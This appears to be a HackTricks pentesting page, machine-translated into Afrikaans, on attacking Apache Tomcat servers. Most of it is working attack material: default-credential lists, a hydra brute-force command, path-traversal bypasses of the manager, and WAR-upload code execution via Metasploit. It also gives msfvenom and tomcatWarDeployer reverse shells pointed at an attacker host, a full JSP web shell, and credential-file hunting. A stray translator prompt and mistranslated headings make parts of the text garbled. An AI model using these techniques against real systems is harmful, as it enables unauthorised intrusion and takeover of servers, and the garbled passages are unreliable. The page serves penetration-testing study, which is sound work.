Tomcat
Reading time: 8 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Ontdekking
- Dit loop gewoonlik op poort 8080
- Gewone Tomcat-fout:
Enumerasie
Weergawe-identifikasie
Om die weergawe van Apache Tomcat te vind, kan 'n eenvoudige opdrag uitgevoer word:
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
Dit sal soek na die term "Tomcat" in die dokumentasie-indeksbladsy, wat die weergawe in die titel-tag van die HTML-respons onthul.
Bestand Plekke van die Bestuurder
Om die presiese plekke van /manager
en /host-manager
gidsen te identifiseer, is noodsaaklik aangesien hul name moontlik verander kan word. 'n Brute-force soektog word aanbeveel om hierdie bladsye te vind.
Gebruikersnaam Enumerasie
Vir Tomcat weergawes ouer as 6, is dit moontlik om gebruikersname te enumerate deur:
msf> use auxiliary/scanner/http/tomcat_enum
Standaard Kredensiale
Die /manager/html
gids is veral sensitief aangesien dit die opgradering en implementering van WAR-lĂȘers toelaat, wat kan lei tot kode-uitvoering. Hierdie gids is beskerm deur basiese HTTP-oute, met algemene kredensiale soos:
- admin:admin
- tomcat:tomcat
- admin:
- admin:s3cr3t
- tomcat:s3cr3t
- admin:tomcat
Hierdie kredensiale kan getoets word met:
msf> use auxiliary/scanner/http/tomcat_mgr_login
'n Ander noemenswaardige gids is /manager/status
, wat die Tomcat- en OS-weergawe vertoon, wat help met die identifisering van kwesbaarhede.
Brute Force Aanval
Om 'n brute force aanval op die bestuurdergids te probeer, kan 'n mens gebruik maak van:
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
Along with setting various parameters in Metasploit to target a specific host.
Algemene Kw vulnerabilities
Wagwoord Terugtraceer Ontsluiting
Toegang tot /auth.jsp
mag die wagwoord in 'n terugtraceer onder gelukkige omstandighede onthul.
Dubbele URL Kodering
Die CVE-2007-1860 kwesbaarheid in mod_jk
laat dubbele URL kodering pad traversering toe, wat ongeoorloofde toegang tot die bestuurskoppelvlak via 'n spesiaal saamgestelde URL moontlik maak.
Om toegang te verkry tot die bestuursweb van die Tomcat, gaan na: pathTomcat/%252E%252E/manager/html
/voorbeelde
Apache Tomcat weergawes 4.x tot 7.x sluit voorbeeldskripte in wat vatbaar is vir inligtingsontsluiting en kruis-web scripting (XSS) aanvalle. Hierdie skripte, wat omvattend gelys is, moet nagegaan word vir ongeoorloofde toegang en potensiële uitbuiting. Vind meer inligting hier
- /voorbeelde/jsp/num/numguess.jsp
- /voorbeelde/jsp/dates/date.jsp
- /voorbeelde/jsp/snp/snoop.jsp
- /voorbeelde/jsp/error/error.html
- /voorbeelde/jsp/sessions/carts.html
- /voorbeelde/jsp/checkbox/check.html
- /voorbeelde/jsp/colors/colors.html
- /voorbeelde/jsp/cal/login.html
- /voorbeelde/jsp/include/include.jsp
- /voorbeelde/jsp/forward/forward.jsp
- /voorbeelde/jsp/plugin/plugin.jsp
- /voorbeelde/jsp/jsptoserv/jsptoservlet.jsp
- /voorbeelde/jsp/simpletag/foo.jsp
- /voorbeelde/jsp/mail/sendmail.jsp
- /voorbeelde/servlet/HelloWorldExample
- /voorbeelde/servlet/RequestInfoExample
- /voorbeelde/servlet/RequestHeaderExample
- /voorbeelde/servlet/RequestParamExample
- /voorbeelde/servlet/CookieExample
- /voorbeelde/servlet/JndiServlet
- /voorbeelde/servlet/SessionExample
- /tomcat-docs/appdev/sample/web/hello.jsp
Pad Traversering Uitbuiting
In sommige kwesbare konfigurasies van Tomcat kan jy toegang verkry tot beskermde gidse in Tomcat met die pad: /..;/
So, byvoorbeeld, mag jy in staat wees om die Tomcat bestuurder bladsy te bekom deur toegang te verkry tot: www.vulnerable.com/lalala/..;/manager/html
Nog 'n manier om beskermde pades te omseil met hierdie truuk is om toegang te verkry tot http://www.vulnerable.com/;param=value/manager/html
RCE
Laastens, as jy toegang het tot die Tomcat Web Application Manager, kan jy 'n .war-lĂȘer oplaai en ontplooi (kode uitvoer).
Beperkings
Jy sal slegs in staat wees om 'n WAR te ontplooi as jy genoeg bevoegdhede het (rolle: admin, manager en manager-script). Daardie besonderhede kan gevind word onder tomcat-users.xml wat gewoonlik gedefinieer is in /usr/share/tomcat9/etc/tomcat-users.xml
(dit verskil tussen weergawes) (sien POST section).
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
Metasploit
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
MSFVenom Reverse Shell
- Skep die war om te ontplooi:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LPORT> -f war -o revshell.war
- Laai die
revshell.war
lĂȘer op en toegang tot dit (/revshell/
):
Bind en omgekeerde shell met tomcatWarDeployer.py
In sommige scenario's werk dit nie (byvoorbeeld ou weergawes van sun)
Laai af
git clone https://github.com/mgeeky/tomcatWarDeployer.git
Omgekeerde skulp
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
Bind shell
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
Gebruik Culsterd
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
Handmatige metode - Web shell
Skep index.jsp met hierdie inhoud:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
U kan ook hierdie installeer (laat opgelaai, afgelaai en opdraguitvoering toe): http://vonloesch.de/filebrowser.html
Handmatige Metode 2
Kry 'n JSP web shell soos this en skep 'n WAR-lĂȘer:
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
POST
Die naam van die Tomcat geloofsbriewe-lĂȘer is tomcat-users.xml
en hierdie lĂȘer dui die rol van die gebruiker binne tomcat aan.
find / -name tomcat-users.xml 2>/dev/null
Please provide the text you would like me to translate.
[...]
<!--
By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary.
Built-in Tomcat manager roles:
- manager-gui - allows access to the HTML GUI and the status pages
- manager-script - allows access to the HTTP API and the status pages
- manager-jmx - allows access to the JMX proxy and the status pages
- manager-status - allows access to the status pages only
-->
[...]
<role rolename="manager-gui" />
<user username="tomcat" password="tomcat" roles="manager-gui" />
<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />
Ander tomcat skandeergereedskap
Verwysings
- https://github.com/simran-sankhala/Pentest-Tomcat
- https://hackertarget.com/sample/nexpose-metasploitable-test.pdf
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.